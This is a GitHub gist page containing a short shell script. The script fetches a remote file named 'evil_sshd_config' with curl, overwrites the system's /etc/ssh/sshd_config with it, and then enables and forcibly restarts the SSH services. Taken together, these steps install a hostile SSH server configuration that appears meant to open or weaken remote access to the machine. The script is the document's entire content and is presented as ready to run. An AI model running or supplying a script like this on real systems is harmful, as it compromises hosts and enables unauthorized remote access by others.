Last active
January 22, 2018 15:33
-
-
Save picatz/ee22a5dc275c79769e04887f98a43e8c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl -s https://gist.githubusercontent.com/picatz/905921c6b835204956f00c3685d75494/raw/c133412b7fc20009b3360004fe377b837574fa27/evil_sshd_config > /etc/ssh/sshd_config | |
systemctl enable ssh.service | |
systemctl enable sshd.service | |
systemctl stop ssh.service | |
systemctl stop sshd.service | |
systemctl start ssh.service | |
systemctl start sshd.service | |
echo "Installed, enabled, and forcefully restarted ssh server configuration." |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment